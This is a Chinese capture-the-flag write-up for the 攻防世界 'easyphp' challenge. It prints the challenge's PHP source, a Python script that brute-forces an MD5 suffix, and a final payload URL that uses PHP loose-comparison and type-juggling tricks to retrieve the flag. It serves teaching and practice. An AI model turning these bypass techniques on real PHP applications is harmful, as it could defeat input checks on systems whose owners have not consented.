【攻防世界】easyphp(PHP代码审计)

简介: 【攻防世界】easyphp(PHP代码审计)

进入题目环境,检查页面内容,页面附有源代码:

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}
if($key1 && $key2){
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}
?>

进行代码审计,将整体代码分开分别分析。

使用 $_GET 方法上传参数 $a 与 $b、$c,并进行判断来进行回显:

找到可以获取 flag 的关键代码进行审计:

if($key1 && $key2){
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}

审计得知,若要输出 $flag 的值,则需要 $key1 和 $ket2 均为True,即均大于零。

首先查看 $key1 大于零的条件:

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}

代码首先对参数 a 进行判断,要求参数a的值大于 6000000 且 a的位数不超过3位,故可以使用科学计数法来给 参数a 赋值。 ?a= 1e9

接着对参数 b 进行判断,若b存在 且 参数b的后六位 等于 字符串'8b184b' 的话,即赋值 $key1=1。

故编写 MD5破解脚本:

import hashlib
for i in range(100000):
    x = str(i).encode()  #将字符串转换为字节串,因为hashlib.md5()函数的参数必须为字节串
    y = hashlib.md5(x)  #进行md5加密编码
    m = y.hexdigest()  #以十六进制的格式返回编码数据
    if(m[-6:] == "8b184b"):  #若编码后六位等于字符串"8b184b",则代表爆破成功
        print("爆破结果为:" + m)
        break
    print(i)

爆破结果如下:

成功获得 符合条件的b的值---53724。

查看 $key2 大于零的条件:

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}

进行代码审计,引入了新的参数 $c:

第一个 if 判断语句:要求 $c 是一个数组,且 $c['m'] 的值不为数字 (is_numeric()函数判断),在 $c['m'] 的数据类型不为数字的同时还要求 $c['m'] 的键值大于 2022,需要用到 PHP 的弱语言特性。

PHP是一类典型的弱语言,在PHP代码中:

2023abc 与 2022 作比较时,会自动将 字符串类型的 '2022abc' 转换为 数字类型2023 来和 2022 进行比较。

故可以将 $c['m'] 赋值为 字符串 '2023abc'。

被嵌套的第二个 if 语句:$c['n'] 也为一个数组,所以 $c 是典型的 数组嵌套数组,在要求 $c['n'] 为一个数组的同时要求 $c['n'][0] 也为一个数组,所以 $c['n'] 中也嵌套一个数组。

最后利用 array_search()函数要求 $c['n'] 中可以匹配 字符串 'DGGJ',同时利用 foreach 要求 c['n'] 不存在字符串 'DGGJ',看似要求矛盾,实则依然利用PHP的弱语言特性。

若 $c['n'] 的键值包含数字0,当 数字0 和字符串'DGGJ'进行比较时,字符串'DGGJ'会自动被转换为数字零,以此可以达到目的。

所以 payload: c={"m":"2023abc","n":[[0,1],0]}。

所以最终的payload:http://61.147.171.105:53569/?a=1e9&b=53724&c={"m":"2023abc","n":[[0,1],0]}

成功获得 flag。

相关文章
|
11月前
|
安全 小程序 PHP
PHP代码审计(七)Rips源代码审计系统使用教程
上一篇中提到的Seay源代码审计系统是由C#编写的winform程序,现在已经停止更新了,但是,还是比较好用的。 PHP代码审计还有另一个工具,也是一个神器Rips
296 0
|
6月前
|
数据安全/隐私保护
攻防世界13-simple_php
攻防世界13-simple_php
|
3月前
|
JSON PHP Apache
[GFCTF 2021]Baby_Web(CVE-2021-41773) 从一道题入门PHP代码审计 (保姆级)
[GFCTF 2021]Baby_Web(CVE-2021-41773) 从一道题入门PHP代码审计 (保姆级)
30 1
|
3月前
|
SQL 安全 API
PHP代码审计示例(一)——淡然点图标系统SQL注入漏洞审计
PHP代码审计示例(一)——淡然点图标系统SQL注入漏洞审计
87 4
|
3月前
|
前端开发 网络安全 PHP
PHP代码审计之MVC与ThinkPHP简介
PHP代码审计之MVC与ThinkPHP简介
38 2
|
3月前
|
监控 安全 网络安全
PHP代码审计之简单思路方法
PHP代码审计之简单思路方法
138 1
|
3月前
|
存储 PHP 数据安全/隐私保护
攻防世界 Web_php_unserialize
攻防世界 Web_php_unserialize
50 0
|
5月前
|
SQL 监控 安全
代码审计-PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析
代码审计-PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析
|
6月前
|
PHP
02-攻防世界PHP2
02-攻防世界PHP2
|
6月前
|
PHP
攻防世界---Web_php_include
攻防世界---Web_php_include